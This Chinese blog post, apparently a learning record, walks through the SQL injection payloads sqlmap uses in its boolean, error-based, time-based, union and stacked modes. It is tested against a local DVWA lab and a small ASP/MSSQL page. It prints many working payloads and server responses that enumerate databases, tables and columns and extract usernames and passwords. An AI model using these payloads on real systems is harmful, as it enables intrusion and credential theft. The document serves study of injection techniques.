sqlmap payload简单分析(B E T U S)
###前言
本文介绍sqlmap在各个场景中的payload格式,简单分析判断的的原理,也是自己学习过程中的记录。
在看本文前,建议看一下drops中的其它文章,源码分析,对-v 3 参数显示出来的东西会有比较好的理解。
环境
- B E T U : php+mysql (dvwa)
- S : asp + mssql
###B
####0x01流程分析
sqlmap.py -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=123&Submit=Submit#" --tech B -p id -v 3 --dbms "Mysql" --flush-session --cookie "security=low; CNZZDATA1257510053=1751803475-1462610971-%7C1462681102; PHPSESSID=a3iles3srfnq3ar1hs3uuleo60"
首先sqlmap会设置环境参数、检查waf、探测编码等等...这些细节我们就先不具体讨论了。drops中的其它文章说的很好(其实我读过一遍也不是完全记得这些细节,大概有些印象),本文重点放在各个场景的payload的分析上,看看是各个场景是怎么出判断的。
根据可注入的参数id检测到注入的类型之后,sqlmap就会用开始读数据。
####0x02 --dbs
- 第一步:获取数据库的大小
举其中一个说明:(原始数据见上图)
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51#;
函数:
ORD() 函数返回字符串的首个字符的 ASCII 值。
MID(column_name,start[,length]) 函数用于从文本字段中提取字符。
IFNULL(expr1,expr2) 如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。
CAST (expression AS data_type) CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。
若ORD()返回为1,说明函数里面判断正确。此时服务器返回的内容和payload为123时相同,页面没有变化。
payload的意思是,从INFORMATION_SCHEMA.SCHEMATA中计算不重复的schema_name的个数,cast函数将之转化成char类型,isnull函数判断当前是否为空,如果不为空就返回,否则返回空(0x20),mid函数从当前的char类型的数据中截取1位,ord函数将其转化为ascii判断。
数字的ASCII 48-57,正确的得到当前数字需要4次请求。(2^4>10)
ORD(... ,X,1) X从1变化到2,判断第二位的时候出错(>48页面变化,判断出错),说明当前dbs的数量的长度只有一位。
成功得到当前数据库大小为7。
- 第二步:获取数据库名
数据库的大小为7,那么就要获取7个数据库的名字。
数据库的名字还是存放在mysql的information_schema中。
假设第二个数据库的名字是dwva,那么读出这个名字,一共要读4个字符。(第一个数据库是information_schema,不好截图,用dwva来演示)
每个字符的ascii(0-127),需要判断7次。读出dvwa按理就要判断7*4次。
看具体payload:
123 OR NOT ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))>64#;
LIMIT 1,1意思是取出第二个数据库。
MID(...,1,1)意思是判断当前的第一位,原理同上。
这里需要注意的是,dvwa是4位,但是MID从(...,1,1)变化到了MID(...,5,1),其实也很好理解,最后一次判断失败,因为sqlmap不知道数据库名的长度,所以只好多判断一位,判断失败来结束。
####0x03 其它
-D dvwa --tables
获得table的数量
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761),1,1))>51#;
获得table的名字
123 OR NOT ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64#;
-D dvwa -T users --columns
获得columns的数量
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51#;
获得columns的名字
123 OR NOT ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),1,1))>64#;
获得columns的类型
123 OR NOT ORD(MID((SELECT IFNULL(CAST(column_type AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND column_name=0x757365725f6964 AND table_schema=0x64767761),1,1))>64#;
-D dvwa -T users -C users,password
获取users表的大小
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.users),1,1))>51#;
获取第一个user,password
user
123 OR NOT ORD(MID((SELECT IFNULL(CAST(`user` AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64#;
password
123 OR NOT ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64#;
###E
基于报错的原理可以看drops的这篇文章:http://drops.wooyun.org/tips/14312
sqlmap.py -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=123&Submit=Submit#" --tech E --dbs -p id -v 3 --dbms "Mysql" --flush-session --cookie "security=low; CNZZDATA1257510053=1751803475-1462610971-%7C1462681102; PHPSESSID=a3iles3srfnq3ar1hs3uuleo60"
补充:sqlmap如何根据报错拿到数据的呢?举例:
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT (ELT(5399=5399,1))),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
服务器返回:
Duplicate entry 'qkxxq1qvvpq1' for key 'group_key'
qkxxq和qvvpq是随机生成的,sqlmap根据报错的服务器返回,再根据正则表达式,获取qkxxq和qvvpq中的内容,此处中间的内容是1,说明报错注入是可以用的。
读取数据的过程如下:
在利用报错读取数据之前,sqlmap需要searching for error chunk length,这length是干嘛用的呢?
简单的说,就是报错返回的内容不可能是很长很长的,肯定有长度限制。
从1024逐渐减小,获取该length
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 8020 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x34,1024)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 5372 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x32,512)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 3339 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x36,256)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq66666666666666666666666666666666666666666666666666666666666' for key 'group_key'</pre>
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 6409 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x34,54)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq444444444444444444444444444444444444444444444444444444qvvpq' for key 'group_key'</pre>
length=54(64-5-5)
接下来就到了激动人心的读取数据的时候啦,原理和B类似,这里给出服务器的返回信息,我们可以看到我们需要的数据是在其中的。
--dbs
获取databases的长度
SELECT first_name, last_name FROM users WHERE user_id = 123 AND
(SELECT 9272 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq7qvvpq1' for key 'group_key'</pre>
获取每一个database的名字:0-6
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 7535 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxqinformation_schemaqvvpq1' for key 'group_key'</pre>
-D dwva --tables
同样先获取长度再获取表名
SELECT first_name, last_name FROM users WHERE user_id = 123 AND
(SELECT 9272 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq7qvvpq1' for key 'group_key'</pre>
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 7535 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxqinformation_schemaqvvpq1' for key 'group_key'</pre>
-D dvwa -T users --columns
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 1411 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qvbzq8qzvqq1' for key 'group_key'</pre>
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 6810 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qvbzquser_idqzvqq1' for key 'group_key'</pre>
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 9751 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT MID((IFNULL(CAST(column_type AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qvbzqint(6)qzvqq1' for key 'group_key'</pre>
-D dvwa -T users -C user,password(空的数据是我放进去的)
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 4151 FROM(SELECT COUNT(*),CONCAT(0x71716b6271,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.users),0x717a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qqkbq6qzqpq1' for key 'group_key'</pre>
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 1524 FROM(SELECT COUNT(*),CONCAT(0x71716b6271,(SELECT MID((IFNULL(CAST(`user` AS CHAR),0x20)),1,54) FROM dvwa.users ORDER BY `user` LIMIT 0,1),0x717a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qqkbq qzqpq1' for key 'group_key'</pre>
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 4538 FROM(SELECT COUNT(*),CONCAT(0x71716b6271,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,54) FROM dvwa.users ORDER BY `user` LIMIT 0,1),0x717a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qqkbq qzqpq1' for key 'group_key'</pre>
###T
payload格式:
原始payload:123 AND (SELECT * FROM (SELECT(SLEEP(5-(inner_payload))))CLid);
接下来替换inner_payload,一般为IF条件语句,看着可能更清晰一些。
####0x01--dbs
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51,0,5))
首先还是判断当前数据库的大小,
之后测试一些假的语句,payload的if语句为假(猜测这个步骤是为了网络看是否稳定)
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>313282,0,5)))))lHRc);
...继续执行一些假的语句
读出数据库的大小:
在读出数据库的大小之后,如果开启了时间优化,后来的读取数据库名的payload中,时间会变成1s。
读第一个数据库名:
注:基于时间,理论上判断一个字符要用7次,但是最后会 用!= 确认一下,一般判断一个字符需要8次。
####0x02其它
-D dwva --tables
计算表的大小:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64,0,5))
计算每一个表名:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64,0,5))
-D dwva -T users --columns
先计算表的大小:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51,0,5))
再计算每一个表的元素:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),1,1))>64,0,1))
(IF(ORD(MID((SELECT IFNULL(CAST(column_type AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND column_name=0x757365725f6964 AND table_schema=0x64767761),1,1))>64,0,1))
-D dwva -T users -C user,password
先计算表的大小:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dwva.users),1,1))>64,0,1))
再计算每一个表的元素:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(`user` AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64,0,1))
(IF(ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64,0,1))
###U
联合的payload比较简单,需要注意的是,sqlmap在测试的时候,会先判断出原始的的SQL query有2个columns之后,就可以直接放payload啦~
--dbs
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x716b716a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x716a7a7071) FROM INFORMATION_SCHEMA.SCHEMATA-- WwQf;
-D dwva --tables
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x717a7a7171,IFNULL(CAST(table_schema AS CHAR),0x20),0x71677867706a,IFNULL(CAST(table_name AS CHAR),0x20),0x717a6a7a71) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x64767761)-- PFpt;
-D dwva -T users --columns
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x7170626271,IFNULL(CAST(column_name AS CHAR),0x20),0x6e766d6f6569,IFNULL(CAST(column_type AS CHAR),0x20),0x7178786271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761-- UIKq;
-D dwva -T users -C user,password
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x7176626b71,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7176717171) FROM dvwa.users-- LxuY;
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,(SELECT CONCAT(0x7176626b71,IFNULL(CAST(`user` AS CHAR),0x20),0x766b72677a61,IFNULL(CAST(password AS CHAR),0x20),0x7176717171) FROM dvwa.users ORDER BY `user` LIMIT 0,1)-- fGQr;
###S
mysql可以执行多条sql语句,但是php+mysql不可以。
这里有一张表可以参考:
所以我用asp+mssql测试。
现学了一下asp,asp代码贴出来吧:
SQL
create database sqltest;
use sqltest;
create table news(
id int not null,
title varchar(50),
primary key(id)
)
insert into news (id,title)values('1','this is the first title');
insert into news (id,title)values('2','this is the second title');
insert into news (id,title)values('3','this is the third title');
####--dbs
sqlmap.py -u "http://127.0.0.1:81/1.asp?fname=2" -v 3 --tech S --dbs
获取数据库的大小:
在判断第一次之后,测试一些假的数值,之后再继续判断(和T类似),获取数据库的大小为6。
获取数据库名称:
payload上,mssql和mysql的函数有些区别,原理一样,就不继续分析了。
:)